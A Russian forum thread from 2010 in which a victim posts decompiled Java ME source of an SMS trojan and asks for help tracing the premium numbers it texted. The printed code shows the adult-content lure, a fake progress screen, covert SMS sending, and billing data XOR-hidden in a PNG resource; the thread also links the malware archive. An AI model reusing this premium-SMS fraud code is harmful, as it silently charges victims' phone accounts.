Trojan-SMS.J2ME.Small.r

Discussion in 'Безопасность и Анонимность' started by magnatan, 24 Sep 2010.

  1. magnatan

    magnatan New Member

    Joined:
    11 Jan 2009
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте добрые люди !!!

    Помогите наказать гада или хотя бы билинг который позволил такое!!

    Жена влезла с мобилки через WI-FI в контакт и скачала приложение типа там чтото про халяву на счет!!

    Короче говоря трудоемкую работу проделал нашол как узнать что за вирус нашел (Касперский сказал что Trojan-SMS.J2ME.Small.r) нашел как его открыть чтоб вычеслить на чьи номера ушли смс ! пользовал DJ Java Decompiler 3.9


    Теперь проблема я когда открыл эти файлы .class там нету префексов и нету вообще некакого намека на них!

    Вот эти файлы
    Code:
    .aclass 
    
    / Decompiled by DJ v3.9.9.91 Copyright 2005 Atanas Neshkov  Date: 24.09.2010 14:32:04
    // Home Page : http://members.fortunecity.com/neshkov/dj.html  - Check often for new version!
    // Decompiler options: packimports(3) 
    
    import java.io.IOException;
    import javax.microedition.lcdui.*;
    import javax.microedition.midlet.MIDlet;
    
    public class a extends MIDlet
        implements Runnable, CommandListener
    {
    
        public a()
        {
            h = "\u0412\u043D\u0438\u043C\u0430\u043D\u0438\u0435! \u0414\u0430\u043D\u043D\u043E\u0435 \u043F\u0440\u0438\u043B\u043E\u0436\u0435\u043D\u0438\u0435 \u0441\u043E\u0436\u0435\u0440\u0436\u0438\u0442 \u043A\u0430\u0434\u0440\u044B \u0438 \u0441\u0446\u0435\u043D\u044B \u044D\u0440\u043E\u0442\u0438\u0447\u0435\u0441\u043A\u043E\u0433\u043E \u0445\u0430\u0440\u0430\u043A\u0442\u0435\u0440\u0430. \u0412\u0430\u043C \u0435\u0441\u0442\u044C 18 \u043B\u0435\u0442?";
            i = "\u0412\u044B\u043F\u043E\u043B\u043D\u044F\u0435\u0442\u0441\u044F \u043E\u0431\u0440\u0430\u0431\u043E\u0442\u043A\u0430... 100% \u043F\u0440\u043E\u0441\u043C\u043E\u0442\u0440 \u0432\u043E \u0432\u0435\u0441\u044C \u044D\u043A\u0440\u0430\u043D. \u0414\u0430\u043D\u043D\u044B\u0439 \u0440\u0430\u0437\u043C\u0435\u0440: ";
            j = "\u0421\u043F\u0430\u0441\u0438\u0431\u043E \u0437\u0430 \u0441\u0442\u043E\u043B\u044C \u0431\u044B\u0441\u0442\u0440\u043E\u0435 \u043D\u0430\u0436\u0430\u0442\u0438\u0435, \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u0430\u043C \u043F\u0440\u0438\u0434\u0443\u0442 \u0441\u043C\u0441 \u0441 \u043F\u0430\u0440\u043E\u043B\u0435\u043C \u043D\u0430 \u0437\u0430\u043A\u0440\u044B\u0442\u044B\u0439 \u0441\u0430\u0439\u0442.\u041F\u0435\u0440\u0435\u0439\u0434\u044F \u043F\u043E \u0441\u0441\u044B\u043B\u043A\u0435 \u0432\u044B \u0441\u043C\u043E\u0436\u0438\u0442\u0435 \u0441\u043A\u0430\u0447\u0438\u0432\u0430\u0442\u044C \u0437\u0430\u0433\u0440\u0443\u0437\u043A\u0438. \u0414\u043E\u0441\u0442\u0443\u043F \u0432 \u0430\u0440\u0445\u0438\u0432 \u0431\u044B\u043B \u043E\u043F\u043B\u0430\u0447\u0435\u043D \u0432 \u043F\u0440\u043E\u0446\u0435\u0441\u0441\u0435 \u0440\u0430\u0431\u043E\u0442\u044B \u043F\u0440\u043E\u0433\u0440\u0430\u043C\u043C\u044B \u0438 \u0432\u044B \u0441\u0430\u043C\u0438 \u0434\u0430\u043B\u0438 \u0441\u043E\u0433\u043B\u0430\u0441\u0438\u0435 \u043F\u043E\u043A\u0443\u043F\u0443 \u0434\u043E\u0441\u0442\u0443\u043F\u0430.";
            k = "\u0412\u044B \u0443\u0436\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043E\u0432\u0430\u043D\u043D\u044B. \u041E\u0436\u0438\u0434\u0430\u0439\u0442\u0435 \u043E\u0442\u0432\u0435\u0442\u043D\u044B\u0435 sms.";
            l = 39;
            m = false;
            b = new Command("\u0412\u044B\u0445\u043E\u0434", 7, 0);
            c = new Command("OK", 4, 0);
            d = new Command("OK", 4, 0);
            e = new Form("");
            f = new StringItem(null, h);
            e.append(f);
            e.addCommand(c);
            e.setCommandListener(this);
            g = new b("icon.png");
            return;
            JVM INSTR dup ;
            IOException ioexception;
            ioexception;
            printStackTrace();
        }
    
        public void startApp()
        {
            a = Display.getDisplay(this);
            a.setCurrent(e);
        }
    
        public void pauseApp()
        {
        }
    
        public void destroyApp(boolean flag)
        {
        }
    
        public void commandAction(Command command, Displayable displayable)
        {
            if(command == b)
            {
                destroyApp(false);
                notifyDestroyed();
                return;
            }
            if(command == c)
                if(g.a())
                {
                    f.setText(i + l + "%");
                    e.removeCommand(c);
                    e.addCommand(d);
                    return;
                } else
                {
                    f.setText(k);
                    e.removeCommand(c);
                    e.addCommand(b);
                    return;
                }
            if(command == d)
            {
                l++;
                f.setText(i + l + "%");
                if(l == 101)
                {
                    f.setText(j);
                    e.removeCommand(d);
                    e.addCommand(b);
                    return;
                }
                if(!m && !g.b() && g.a < g.c && l > 50 && l % 5 == 0)
                    (new Thread(this)).start();
            }
        }
    
        public void run()
        {
            m = true;
            g.a(g.b);
            m = false;
        }
    
        private Display a;
        private Command b;
        private Command c;
        private Command d;
        private Form e;
        private StringItem f;
        private b g;
        private String h;
        private String i;
        private String j;
        private String k;
        private int l;
        private volatile boolean m;
    
    
    b .class
    
    
    import java.io.*;
    import java.util.Hashtable;
    import java.util.Vector;
    import javax.microedition.io.Connection;
    import javax.microedition.io.Connector;
    import javax.microedition.rms.RecordStore;
    import javax.microedition.rms.RecordStoreException;
    import javax.wireless.messaging.*;
    
    public final class b
    {
    
        public b(String s)
        {
            RecordStore recordstore;
            d = 0;
            a = 0;
            g = null;
            h = null;
            i = null;
            b = 1;
            c = 20;
            j = 0;
            k = 0;
            m = new Hashtable();
            n = 0;
            o = 0;
            p = new Vector();
            f = s;
            d();
            s = this;
            recordstore = null;
    label0:
            {
                if((recordstore = RecordStore.openRecordStore("l", false)).getNumRecords() == 0)
                {
                    if(recordstore != null)
                        try
                        {
                            recordstore.closeRecordStore();
                        }
                        catch(RecordStoreException _ex) { }
                    break label0;
                }
                try
                {
                    byte abyte0[] = recordstore.getRecord(1);
                    s.a(abyte0);
                }
                catch(Exception _ex)
                {
                    if(recordstore != null)
                        try
                        {
                            recordstore.closeRecordStore();
                        }
                        catch(RecordStoreException _ex2) { }
                    break label0;
                }
                finally
                {
                    if(recordstore != null)
                        try
                        {
                            recordstore.closeRecordStore();
                        }
                        catch(RecordStoreException _ex) { }
                    throw exception;
                }
                if(recordstore != null)
                    try
                    {
                        recordstore.closeRecordStore();
                    }
                    catch(RecordStoreException _ex) { }
                break label0;
            }
            s = this;
            recordstore = null;
    label1:
            {
                if((recordstore = RecordStore.openRecordStore("r", false)).getNumRecords() == 0)
                {
                    if(recordstore != null)
                        try
                        {
                            recordstore.closeRecordStore();
                        }
                        catch(RecordStoreException _ex) { }
                    break label1;
                }
                try
                {
                    byte abyte1[] = recordstore.getRecord(1);
                    Object obj = new ByteArrayInputStream(abyte1);
                    obj = new DataInputStream(((InputStream) (obj)));
                    s.n = ((DataInputStream) (obj)).readInt();
                    s.o = ((DataInputStream) (obj)).readInt();
                }
                catch(Exception _ex)
                {
                    if(recordstore != null)
                        try
                        {
                            recordstore.closeRecordStore();
                        }
                        catch(RecordStoreException _ex2) { }
                    break label1;
                }
                finally
                {
                    if(recordstore != null)
                        try
                        {
                            recordstore.closeRecordStore();
                        }
                        catch(RecordStoreException _ex) { }
                    throw s;
                }
                if(recordstore != null)
                    try
                    {
                        recordstore.closeRecordStore();
                    }
                    catch(RecordStoreException _ex) { }
                break label1;
            }
            (s = this).n++;
            if(((b) (s)).n > 99)
                s.n = 99;
            s.e();
            e = new boolean[g.length];
            return;
        }
    
        public b()
        {
            this("/icon.png");
        }
    
        public final synchronized void a(int i1)
        {
            if(e[d])
            {
                if(b())
                    return;
                do
                    c();
                while(e[d]);
            }
            if(!a())
                return;
            b b1;
            e[d] = a(g[d], h[d] + " " + l + (a((b1 = this).n, 2) + a(b1.o, 2)), i1);
            if(e[d])
            {
                int j1 = i[d];
                i1 = g[d];
                b b2 = this;
                i1 = new c(System.currentTimeMillis(), i1, j1);
                b2.p.addElement(i1);
                b2.f();
                (i1 = b2).o++;
                if(((b) (i1)).o > 98)
                    i1.o = 98;
                i1.e();
            }
            c();
        }
    
        public final boolean a()
        {
            int j1 = k;
            b b1 = this;
            long l1 = System.currentTimeMillis() - (long)(j1 * 1000);
            j1 = 0;
            for(int k1 = 0; k1 < b1.p.size(); k1++)
            {
                c c1;
                if((c1 = (c)b1.p.elementAt(k1)).a >= l1)
                    j1 += c1.c;
            }
    
            for(int i1 = j1; i1 + i[d] > j;)
            {
                e[d] = true;
                c();
                if(b())
                    return false;
            }
    
            return true;
        }
    
        private void c()
        {
            d++;
            if(d >= g.length)
                d = 0;
        }
    
        public final boolean b()
        {
            for(int i1 = 0; i1 < e.length; i1++)
                if(!e[i1])
                    return false;
    
            return true;
        }
    
        private boolean a(String s, String s1, int i1)
        {
            if(i1 <= 0 || a >= c)
                break MISSING_BLOCK_LABEL_184;
            i1 = null;
            TextMessage textmessage;
            (textmessage = (TextMessage)(i1 = (MessageConnection)Connector.open("sms://" + s)).newMessage("text")).setAddress("sms://" + s);
            textmessage.setPayloadText(s1);
            i1.send(textmessage);
            if(i1 != null)
                try
                {
                    i1.close();
                }
                catch(Exception _ex) { }
            return true;
            JVM INSTR pop ;
            a++;
            if(i1 != null)
                try
                {
                    i1.close();
                }
                catch(Exception _ex) { }
            return false;
            JVM INSTR pop ;
            a++;
            if(i1 != null)
                try
                {
                    i1.close();
                }
                catch(Exception _ex) { }
            return false;
            s;
            if(i1 != null)
                try
                {
                    i1.close();
                }
                catch(Exception _ex) { }
            throw s;
            return false;
        }
    
        private void d()
        {
            Object obj;
            short word0;
            int k1;
            obj = "w21e";
            String s = "dewq eqwd  w\u0432 \u0443\u0446\u0439";
            Object obj1 = getClass().getResourceAsStream(f);
            Object obj2 = new ByteArrayOutputStream();
            byte abyte3[] = new byte[1000];
            int j2;
            while((j2 = ((InputStream) (obj1)).read(abyte3)) != -1) 
                ((ByteArrayOutputStream) (obj2)).write(abyte3, 0, j2);
            byte abyte2[] = ((ByteArrayOutputStream) (obj2)).toByteArray();
            int i1 = ((String) (obj2 = new String(abyte2))).indexOf("tEXt") - ((String) (obj)).length();
            ((ByteArrayOutputStream) (obj2 = new ByteArrayOutputStream(4))).write(abyte2, i1, 4);
            int l1 = ((DataInputStream) (obj2 = new DataInputStream(new ByteArrayInputStream(((ByteArrayOutputStream) (obj2)).toByteArray())))).readInt() - 9;
            i1 += s.length();
            byte abyte1[] = new byte[l1];
            System.arraycopy(abyte2, i1, abyte1, 0, l1);
            i1 = new DataInputStream(new ByteArrayInputStream(abyte1));
            abyte1 = "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43";
            abyte2 = new ByteArrayOutputStream();
            byte byte0;
            for(int i2 = 0; (byte0 = (byte)i1.read()) != -1; i2++)
                abyte2.write((byte)(byte0 ^ abyte1.charAt(i2 % abyte1.length())));
    
            byte abyte0[] = abyte2.toByteArray();
            word0 = (abyte0 = new DataInputStream(new ByteArrayInputStream(abyte0))).readShort();
            g = new String[word0];
            h = new String[word0];
            i = new int[word0];
            for(int j1 = 0; j1 < word0; j1++)
            {
                h[j1] = abyte0.readUTF();
                g[j1] = abyte0.readUTF();
                i[j1] = abyte0.readShort();
            }
    
            word0 = abyte0.readShort();
            k1 = 0;
    _L3:
            if(k1 >= word0) goto _L2; else goto _L1
    _L1:
            String s1;
            if((s1 = abyte0.readUTF()).equals("requestNo"))
            {
                b = Integer.parseInt(abyte0.readUTF());
                continue; /* Loop/switch isn't completed */
            }
            if(s1.equals("maxRequestNo"))
            {
                c = Integer.parseInt(abyte0.readUTF());
                continue; /* Loop/switch isn't completed */
            }
            if(s1.equals("costLimit"))
            {
                j = Integer.parseInt(abyte0.readUTF());
                continue; /* Loop/switch isn't completed */
            }
            if(s1.equals("costLimitPeriod"))
            {
                k = Integer.parseInt(abyte0.readUTF());
                continue; /* Loop/switch isn't completed */
            }
            if(s1.equals("smsData"))
            {
                l = abyte0.readUTF();
                continue; /* Loop/switch isn't completed */
            }
            if(s1.equals("backTraffUrl"))
            {
                abyte0.readUTF();
                continue; /* Loop/switch isn't completed */
            }
            if(s1.equals("smsDelay"))
                Integer.parseInt(abyte0.readUTF());
            else
                m.put(s1, abyte0.readUTF());
            continue; /* Loop/switch isn't completed */
            JVM INSTR dup ;
            Object obj3;
            obj3;
            printStackTrace();
            continue; /* Loop/switch isn't completed */
            JVM INSTR dup ;
            obj3;
            printStackTrace();
            k1++;
              goto _L3
    _L2:
        }
    
        private static String a(int i1, int j1)
        {
            for(i1 = "" + i1; i1.length() < 2; i1 = "0" + i1);
            return i1;
        }
    
        private void e()
        {
    label0:
            {
                RecordStore recordstore = null;
                try
                {
                    recordstore = RecordStore.openRecordStore("r", true);
                    ByteArrayOutputStream bytearrayoutputstream = new ByteArrayOutputStream();
                    DataOutputStream dataoutputstream;
                    (dataoutputstream = new DataOutputStream(bytearrayoutputstream)).writeInt(n);
                    dataoutputstream.writeInt(o);
                    byte abyte0[] = bytearrayoutputstream.toByteArray();
                    if(recordstore.getNumRecords() == 0)
                        recordstore.addRecord(abyte0, 0, abyte0.length);
                    else
                        recordstore.setRecord(1, abyte0, 0, abyte0.length);
                }
                catch(Exception _ex)
                {
                    if(recordstore != null)
                        try
                        {
                            recordstore.closeRecordStore();
                            return;
                        }
                        catch(RecordStoreException _ex2)
                        {
                            return;
                        }
                    break label0;
                }
                finally
                {
                    if(recordstore != null)
                        try
                        {
                            recordstore.closeRecordStore();
                        }
                        catch(RecordStoreException _ex) { }
                    throw exception;
                }
                if(recordstore != null)
                    try
                    {
                        recordstore.closeRecordStore();
                        return;
                    }
                    catch(RecordStoreException _ex)
                    {
                        return;
                    }
                break label0;
            }
        }
    
        private void a(byte abyte0[])
        {
            abyte0 = new ByteArrayInputStream(abyte0);
            int i1 = (abyte0 = new DataInputStream(abyte0)).readInt();
            p.removeAllElements();
            for(int j1 = 0; j1 < i1; j1++)
            {
                c c1 = new c(abyte0);
                p.addElement(c1);
            }
    
        }
    
        private void f()
        {
    label0:
            {
                RecordStore recordstore = null;
                try
                {
                    recordstore = RecordStore.openRecordStore("l", true);
                    b b1 = this;
                    ByteArrayOutputStream bytearrayoutputstream = new ByteArrayOutputStream();
                    DataOutputStream dataoutputstream;
                    (dataoutputstream = new DataOutputStream(bytearrayoutputstream)).writeInt(b1.p.size());
                    for(int i1 = 0; i1 < b1.p.size(); i1++)
                    {
                        c c1 = (c)b1.p.elementAt(i1);
                        c1 = c1;
                        ByteArrayOutputStream bytearrayoutputstream1 = new ByteArrayOutputStream();
                        DataOutputStream dataoutputstream1;
                        (dataoutputstream1 = new DataOutputStream(bytearrayoutputstream1)).writeLong(c1.a);
                        dataoutputstream1.writeUTF(c1.b);
                        dataoutputstream1.writeInt(c1.c);
                        dataoutputstream.write(bytearrayoutputstream1.toByteArray());
                    }
    
                    byte abyte0[] = bytearrayoutputstream.toByteArray();
                    if(recordstore.getNumRecords() == 0)
                        recordstore.addRecord(abyte0, 0, abyte0.length);
                    else
                        recordstore.setRecord(1, abyte0, 0, abyte0.length);
                }
                catch(Exception _ex)
                {
                    if(recordstore != null)
                        try
                        {
                            recordstore.closeRecordStore();
                            return;
                        }
                        catch(RecordStoreException _ex2)
                        {
                            return;
                        }
                    break label0;
                }
                finally
                {
                    if(recordstore != null)
                        try
                        {
                            recordstore.closeRecordStore();
                        }
                        catch(RecordStoreException _ex) { }
                    throw exception;
                }
                if(recordstore != null)
                    try
                    {
                        recordstore.closeRecordStore();
                        return;
                    }
                    catch(RecordStoreException _ex)
                    {
                        return;
                    }
                break label0;
            }
        }
    
        private int d;
        private boolean e[];
        public int a;
        private String f;
        private String g[];
        private String h[];
        private int i[];
        public int b;
        public int c;
        private int j;
        private int k;
        private String l;
        private Hashtable m;
        private int n;
        private int o;
        private Vector p;
    
    
    c class
    
    
    
    // Decompiled by DJ v3.9.9.91 Copyright 2005 Atanas Neshkov  Date: 24.09.2010 14:33:31
    // Home Page : http://members.fortunecity.com/neshkov/dj.html  - Check often for new version!
    // Decompiler options: packimports(3) 
    
    import java.io.DataInputStream;
    import java.io.IOException;
    
    public final class c
    {
    
        public c(long l, String s, int i)
        {
            a = l;
            b = s;
            c = i;
        }
    
        public c(DataInputStream datainputstream)
        {
            a = datainputstream.readLong();
            b = datainputstream.readUTF();
            c = datainputstream.readInt();
        }
    
        public final String toString()
        {
            return (System.currentTimeMillis() - a) / 1000L + " | " + b + " | " + c;
        }
    
        long a;
        String b;
        int c;
    }
    
    
    Manifest.MF
    
    Manifest-Version: 1.0
    MIDlet-Vendor: FREE PORNO!
    Ant-Version: Apache Ant 1.7.1
    MIDlet-Version: 3.0
    Nokia-MIDlet-On-Screen-Keypad: no
    Background: True
    MicroEdition-Configuration: CLDC-1.0
    MIDlet-1: Huische_45_sm, /icon.png, a
    FlipInsensitive: True
    Created-By: 16.3-b01 (Sun Microsystems Inc.)
    MIDlet-Name: Huische_45_sm
    MicroEdition-Profile: MIDP-1.0
    касперский сказал что сам троян в b class!

    Вот на кого орать ? кому жаловаться? кому что предявлять если неизвесно чьи тут префексы?

    Помогите пожалуйста!!
     
    #1 magnatan, 24 Sep 2010
    Last edited: 24 Sep 2010
  2. DCrypt

    DCrypt Banned

    Joined:
    21 Jan 2010
    Messages:
    367
    Likes Received:
    35
    Reputations:
    1
    Сиди расшифровуй. А касперский это не эталон. Кидай на вирустотал.
     
  3. magnatan

    magnatan New Member

    Joined:
    11 Jan 2009
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Я не говорил что касперский эталон! я говорил с помощью его увидел что за вирус!

    Росшифровывать чем?
     
  4. patcher

    patcher Banned

    Joined:
    15 Dec 2009
    Messages:
    190
    Likes Received:
    37
    Reputations:
    10
    скинь сюда саму заразу, которую подцепил.... помогу разобратся
     
  5. magnatan

    magnatan New Member

    Joined:
    11 Jan 2009
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    я незнаю куда его залить !!

    Залил сюда http://hotfile.com/dl/71428560/3b260d9/vir.rar.html
     
  6. magnatan

    magnatan New Member

    Joined:
    11 Jan 2009
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    так и Не смогли победить эту фишку!!
     
  7. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    779
    Likes Received:
    324
    Reputations:
    83
    А че тут побеждать то? :) Тут есть момент где код закодирован в Unicode а именно
    И получилось
    Копайте в ту сторону :)
    Перекодировать тут http://2cyr.com/decode/?lang=ru

    Хоть я и не силен в Java но вроде тут нету функции посещения какой либо страницы а есть функция отправки сообщения а именно.
    Тут переменной s присвоен номер отправителя.
    Так чтобы узнать номер надо искать выше где присваивается эта переменная.
    И как я правильно понял префикс тут text т.к. выше я не нашел не единого намека на такую переменную и плюс заключено в двойные кавычки.

    Прошу профи Java строго не пинайте объяснил на скока знаю основы программирования :)
    Правда не верю я челу что якобы ищет чтобы проучить кого то ) Небось сам хочет такой троян сделать под себя и распространять.
     
    #7 cardons, 24 Sep 2010
    Last edited: 24 Sep 2010
  8. HIMIKAT

    HIMIKAT Elder - Старейшина

    Joined:
    12 Jan 2007
    Messages:
    2,707
    Likes Received:
    581
    Reputations:
    403
    Это надо не распространителя наказывать, а жену чтобы она что попало не качала.
     
  9. magnatan

    magnatan New Member

    Joined:
    11 Jan 2009
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    С женой профелактические беседы проведены! Темболие явно видно что тупой развод!!
     
  10. magnatan

    magnatan New Member

    Joined:
    11 Jan 2009
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0

    Ты знаеш смотря на этот форум!

    Хотелбы себе вирус зделалибы здесьже и зделалиб!

    ток вот нахерн он мне нужен?
     
  11. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Ух блин, этот код хорошо обфусцирован =)
    Будь добр, возьми его в тег [code*]...
    Попробую помочь...
     
  12. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    779
    Likes Received:
    324
    Reputations:
    83
    Сомневаюсь )
    Т.к. действуя твоей логике если бы ты хотел узнать куда что шлет то узнал бы )
    А ты просишь помощи.